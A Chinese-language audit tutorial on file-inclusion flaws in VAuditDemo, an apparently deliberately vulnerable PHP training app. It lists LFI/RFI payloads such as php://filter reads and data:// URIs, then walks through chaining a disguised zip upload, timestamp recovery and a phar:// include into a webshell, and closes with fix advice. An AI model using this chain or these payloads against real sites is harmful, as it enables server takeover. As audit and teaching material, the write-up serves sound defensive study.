VAuditDemo-文件包含漏洞的审计

包含漏洞

include、require等先关函数,include($file)php

文件包含漏洞的问题在于参数可控(路径、文件名、后缀) include($path.$filename.$ext)html

包含漏洞分类:

  • 1.本地文件包含LFI
  • 2.远程文件包含RFI(allow_url_include默认为Off)

1、本地文件包含

  • 限制后缀 *.php
    • 伪协议 zip://&phar//
    • 截断大法
  • 日志&环境变量
  • session文件
  • 结合phpinfo()包含临时文件
  • 无后缀限制,包含任意文件
  • 读取任意文件,?file=php://filter/convert.base64-encode/resource=index.php

2、远程文件包含RFI

  • allow_url_include&&allow_url_fopen=Off
    • 包含共享文件,file=\\192.168.1.1\share\xxx.php
    • 利用data URIs,?file=data://text://text/plain,base64,SSBsb3ZIFBIUAo=
  • allow_url_fopen=On
    • 远程代码执行?file=[http|https|ftp]://xxx/file
    • 利用XSS执行任意代码?file=http://xxx/xss.php?xss=phpcode
    • 远程代码执行?file=[http|https|ftp]://xxx/file.txt[?|%23]

index.phpmysql

index.php中存在如下包含代码,能够包含一个.inc结尾的文件。此时咱们能够考虑使用伪协议进行绕过。web

<?php /* Include */ if (isset($_GET['module'])){ include($_GET['module'].'.inc'); // phar://path/file/xx.inc }else{ ?>

phar://sql

Phar归档最好的特色是能够方便地将多个文件组合成一个文件。所以,phar归档提供了一种方法,能够将完整的PHP应用程序分发到单个文件中,并从该文件运行它,而不须要将其提取到磁盘。此外,PHP能够像执行任何其余文件同样轻松地执行phar归档,不管是在命令行上仍是在web服务器上。shell

lib.php数组

lib.php中已经对上传文件后缀作了严格的限制,可是并未对文件内容进行检测。缓存

function is_pic( $file_name ) { $extend =explode( "." , $file_name ); $va=count( $extend )-1; if ( $extend[$va]=='jpg' || $extend[$va]=='jpeg' || $extend[$va]=='png' ) { return 1; } else return 0; }

搜索php处理上传文件的代码$_FILE,找到代码位置,分析上传逻辑。bash

<?php include_once('../sys/config.php'); $uploaddir = '../uploads'; if (isset($_POST['submit']) && isset($_FILES['upfile'])) { if(is_pic($_FILES['upfile']['name'])){ //判断文件后缀 $avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name']; //构造上传的文件名 u_时间戳_文件名 if (move_uploaded_file($_FILES['upfile']['tmp_name'], $avatar)) { //更新用户信息 $query = "UPDATE users SET user_avatar = '$avatar' WHERE user_id = '{$_SESSION['user_id']}'"; mysql_query($query, $conn) or die('update error!'); mysql_close($conn); //刷新缓存 $_SESSION['avatar'] = $avatar; // 将路径存储在session中,使用session进行文件读取操做,并未将文件路径输出。 header('Location: edit.php'); } else { echo 'upload error<br />'; echo '<a href="edit.php">返回</a>'; } }else{ echo '只能上傳 jpg png gif!<br />'; echo '<a href="edit.php">返回</a>'; } } else { not_find($_SERVER['PHP_SELF']); } ?>

全局搜索,判断是否只是经过session读取文件,并不会输出文件路径。搜索$_SESSION['avatar']服务器

avatar.php:

<?php error_reporting(0); session_start(); header("Content-type:image/jpeg"); echo file_get_contents($_SESSION['avatar']); //LFI ?>

从以上代能够看出并未对文件路径进行输出,可是使用了file_get_contents函数读取了文件的内容。也就是说,当咱们经过伪协议读取一个包含了php代码的压缩文件时,其中的php代码将会被执行。

可是,若是想实现上述构想,就须要先获取到文件名中的时间戳。当咱们上传图片时,响应包中将会记录上传操做的时间,咱们能够将该时间转换为时间戳,该时间戳通常会和上传文件名中的时间戳相差不大。

if(is_pic($_FILES['upfile']['name'])){ $avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name'];

咱们先准备一个一句话脚本,将其后缀改成inc,而后将inc文件打包为zip,而后再将后缀改成png。 这样咱们的上传文件就制做好了。 v.php-->v.inc-->v.zip-->v.png

上传文件,同时开启F12查看响应包信息,咱们想要的是响应包中的DATA字段的信息。

ache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Connection: Keep-Alive Content-Length: 0 Content-Type: text/html Date: Fri, 10 Apr 2020 13:14:12 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Keep-Alive: timeout=5, max=100 Location: edit.php Pragma: no-cache Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02 X-Powered-By: PHP/5.4.45

解密时间戳

将上传响应包中的DATA字段内容,放入下列脚本中便可转换为时间戳。

<?php date_default_timezone_set('UTC'); echo strtotime('Fri, 10 Apr 2020 13:14:12 GMT'); ?> //输出结果以下: 1586524452

咱们能够查看uploads中的文件名,对比一下两个的时间戳。两个是相同的,固然在大多数状况下两个时间可能会存在少量的误差,此时就咱们能够经过遍历最后一位或最后两位,通常就能够找到正确的时间戳。

1586524452 u_1586524452_1.png

 

 

 

而后咱们就能够使用伪协议进行文件包含了。使用phar来打开压缩包伪图片u_1586524452_1.png,而后读取其中的1.inc文件内容。

phar://uploads/u_1586524452_1.png/1.inc

访问如下连接便可解析php内容:

http://www.code.com/index.php?module=phar://uploads/u_1586524452_1.png/v

POST:
cmd=phpinfo() 尝试解析phpinfo(),能够成功解析,使用shell管理工具也能够成功链接webshell,说明咱们成功包含了文件。

 

漏洞修复

因为已经规定了须要包含文件的后缀为.inc,所以能够从限制文件路径和文件名两个方面进行考虑。能够定义一个数组,只容许包含该数组内已存在的文件的内容。或者限制文件包含的路径,一样只容许包含部分路径的文件。

审计思路整理

  • 1.index.php经过传入module变量来包含.inc文件
  • 2.使用伪协议zip://&phar://突破
  • 3.updateAvatar.php对文件上传只进行了后缀限制,未进行上传内容检查。
  • 4.将执行上传操做的响应时间转换为时间戳,经过遍历最后几位数字来找到上传文件名中的时间戳,获取上传文件名。
  • 5.经过上传构造好的文件,使用phar伪协议打开并执行其中的.inc文件,当.inc的内容为PHP脚本时,便可解析php内容。
相关文章
相关标签/搜索